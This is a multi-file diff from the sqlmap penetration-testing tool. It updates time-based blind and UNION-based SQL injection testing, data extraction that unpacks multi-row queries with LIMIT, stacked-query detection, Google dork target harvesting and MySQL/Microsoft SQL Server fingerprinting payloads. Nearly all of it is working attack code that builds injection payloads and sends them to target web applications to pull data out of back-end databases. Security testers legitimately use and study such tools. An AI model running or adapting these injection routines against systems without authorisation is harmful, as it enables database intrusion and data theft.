WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with AND condition syntax"
logger.warn(warnMsg)
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with stacked query syntax"
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -28,18 +28,39 @@ from lib.core.agent import agent
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.request.connect import Connect as Request
def __effectiveUnionTest(query, comment):
def __forgeUserFriendlyValue(payload):
value = ""
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
return value
def __unionTestByNULLBruteforce(comment):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
resultDict = {}
columns = None
value = None
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for count in range(0, 50):
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
@@ -52,32 +73,39 @@ def __effectiveUnionTest(query, comment):
query += " FROM DUAL"
commentedQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=commentedQuery)
newResult = Request.queryPage(payload)
payload = agent.payload(newValue=commentedQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if not newResult in resultDict.keys():
resultDict[newResult] = (1, commentedQuery)
else:
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
if seqMatcher >= 0.6:
columns = count + 1
value = __forgeUserFriendlyValue(payload)
if count:
for element in resultDict.values():
if element[0] == 1:
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
break
return value
return value, columns
return None
def __unionTestByOrderBy(comment):
columns = None
value = None
for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count)
orderByQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=orderByQuery)
seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count
elif columns:
value = __forgeUserFriendlyValue(prevPayload)
break
prevPayload = payload
return value, columns
def unionTest():
@@ -86,19 +114,26 @@ def unionTest():
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.uTech == "orderby":
technique = "ORDER BY clause bruteforcing"
else:
technique = "NULL bruteforcing"
logMsg = "testing inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(logMsg)
value = ""
value = ""
columns = None
query = agent.prefixQuery("UNION ALL SELECT NULL")
for comment in (queries[kb.dbms].comment, ""):
if conf.uTech == "orderby":
value, columns = __unionTestByOrderBy(comment)
else:
value, columns = __unionTestByNULLBruteforce(comment)
for comment in ("--", "#", "/*", ";", "%00"):
value = __effectiveUnionTest(query, comment)
if value:
setUnion(comment, value.count("NULL"))
if columns:
setUnion(comment, columns)
break

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -24,14 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
@@ -39,12 +42,23 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
def __unionPosition(count, expression):
logMsg = "confirming inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg)
reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
@@ -64,17 +78,17 @@ def __unionPosition(count, expression):
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
@@ -82,29 +96,39 @@ def __unionPosition(count, expression):
break
if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "inband sql injection vulnerability, sqlmap will "
warnMsg += "retrieve the expression output through blind sql "
warnMsg += "injection technique"
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
return count
def unionUse(expression):
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = 0
origExpr = expression
start = time.time()
count = None
origExpr = expression
start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount:
unionTest()
@@ -113,42 +137,191 @@ def unionUse(expression):
return
# Prepare expression with delimiters
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
if unescape:
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression)
__unionPosition(expression)
# Assure that the above function found the exploitable inband
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Microsoft SQL Server":
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
if kb.dbms == "Microsoft SQL Server":
orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
if orderBy:
field = orderBy.group(1)
else:
field = expressionFieldsList[0]
elif kb.dbms == "Oracle":
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
logMsg = "query: %s" % query
logger.info(logMsg)
duration = int(time.time() - start)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
duration = int(time.time() - start)
logMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(logMsg)
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -22,22 +22,4 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.data import logger
from lib.core.data import paths
from lib.request.connect import Connect as Request
def passiveFuzzing():
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
logger.info(logMsg)
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
for fuzzVector in fuzzVectors:
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
payload = agent.payload(newValue=fuzzVector)
Request.queryPage(payload)
pass

View File

@@ -0,0 +1,60 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
def stackedTest():
infoMsg = "testing stacked queries support on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
query = queries[kb.dbms].timedelay % SECONDS
start = time.time()
payload, _ = inject.goStacked(query)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the web application supports stacked queries "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
kb.stackedTest = payload
else:
warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter
logger.warn(warnMsg)
kb.stackedTest = False
return kb.stackedTest

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -30,6 +30,7 @@ import urllib2
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
@@ -68,13 +69,9 @@ class Google:
your Google dork search results
"""
targetUrls = set()
for match in self.__matches:
if re.search("(.*?)\?(.+)", match, re.I):
targetUrls.add(match)
return targetUrls
kb.targetUrls.add(( match, None, None, None ))
def getCookie(self):

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
@@ -40,14 +41,18 @@ def checkForParenthesis():
is within the parenthesis.
"""
if kb.parenthesis != None:
return kb.parenthesis
logMsg = "testing for parenthesis on injectable parameter"
logger.info(logMsg)
count = 0
if kb.parenthesis != None:
return
if conf.prefix or conf.postfix:
kb.parenthesis = 0
return
for parenthesis in range(1, 4):
query = agent.prefixQuery("%s " % (")" * parenthesis))
query += "AND %s" % ("(" * parenthesis)
@@ -71,7 +76,7 @@ def checkForParenthesis():
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == kb.defaultResult:
if result == True:
count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -32,7 +32,7 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.unescaper import unescaper
from lib.techniques.inference.blind import bisection
from lib.techniques.blind.inference import bisection
def queryOutputLength(expression, payload):
@@ -126,7 +126,7 @@ def resume(expression, payload):
# If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function
# in UNION SELECT (inband) SQL injection so we return to the calling
# in UNION query (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability.
if not payload:

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -28,6 +28,7 @@ import time
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
@@ -35,7 +36,6 @@ from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
@@ -43,10 +43,8 @@ from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -124,16 +122,32 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
actVer = formatFingerprint()
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if not conf.extensiveFp:
return actVer
blank = " " * 16
value = "active fingerprint: %s" % actVer
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
@@ -142,11 +156,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -155,36 +168,41 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getPrematureBanner("@@VERSION")
if not conf.extensiveFp:
return True
logMsg = "testing Microsoft SQL Server"
logger.info(logMsg)
randInt = str(randomInt(1))
query = "LTRIM(STR(LEN(%s)))" % randInt
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if inject.getValue(query) == "1":
query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
version = inject.getValue(query)
if result == True:
logMsg = "confirming Microsoft SQL Server"
logger.info(logMsg)
if version == "8":
kb.dbmsVersion = ["2008"]
elif version == "5":
kb.dbmsVersion = ["2005"]
elif version == "0":
kb.dbmsVersion = ["2000"]
for version in ( 0, 5, 8 ):
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
result = Request.queryPage(payload)
if result == True:
if version == 8:
kb.dbmsVersion = ["2008"]
elif version == 5:
kb.dbmsVersion = ["2005"]
elif version == 0:
kb.dbmsVersion = ["2000"]
break
if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
else:
setDbms("Microsoft SQL Server")
if not conf.extensiveFp:
return True
if conf.getBanner:
self.banner = inject.getValue("@@VERSION")
self.getPrematureBanner("@@VERSION")
return True
else:
@@ -195,7 +213,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getPrivileges(self):
warnMsg = "on MySQL is it not possible to fetch database users privileges"
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg)
return {}

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -28,6 +28,7 @@ import re
from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getDirectories
from lib.core.common import getHtmlErrorFp
@@ -45,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -128,12 +128,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg)
query = agent.prefixQuery("/* NoValue */")
query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result != kb.defaultResult:
if result != True:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
@@ -142,12 +142,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# MySQL valid versions updated at 10/2008
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32354), # MySQL 3.23
(40000, 40024), # MySQL 4.0
(40100, 40122), # MySQL 4.1
(50000, 50072), # MySQL 5.0
(50100, 50129), # MySQL 5.1
(60000, 60008), # MySQL 6.0
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40125), # MySQL 4.1
(50000, 50074), # MySQL 5.0
(50100, 50131), # MySQL 5.1
(60000, 60009), # MySQL 6.0
)
for element in versions:
@@ -156,12 +156,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = str(version)
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == kb.defaultResult:
if result == True:
if not prevVer:
prevVer = version
if version[0] == "3":
midVer = prevVer[1:3]
else:
@@ -177,33 +180,47 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
actVer = formatFingerprint()
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if not conf.extensiveFp:
return actVer
blank = " " * 16
value = "active fingerprint: %s" % actVer
comVer = self.__commentCheck()
if comVer:
comVer = formatFingerprint([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
banVer = re.search("^([\d\.]+)", self.banner)
banVer = banVer.groups()[0]
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
# TODO: move to the XML banner file
banVer = kb.bannerFp["dbmsVersion"]
if re.search("-log$", self.banner):
banVer += ", logging enabled"
banVer = formatFingerprint([banVer])
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -223,6 +240,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
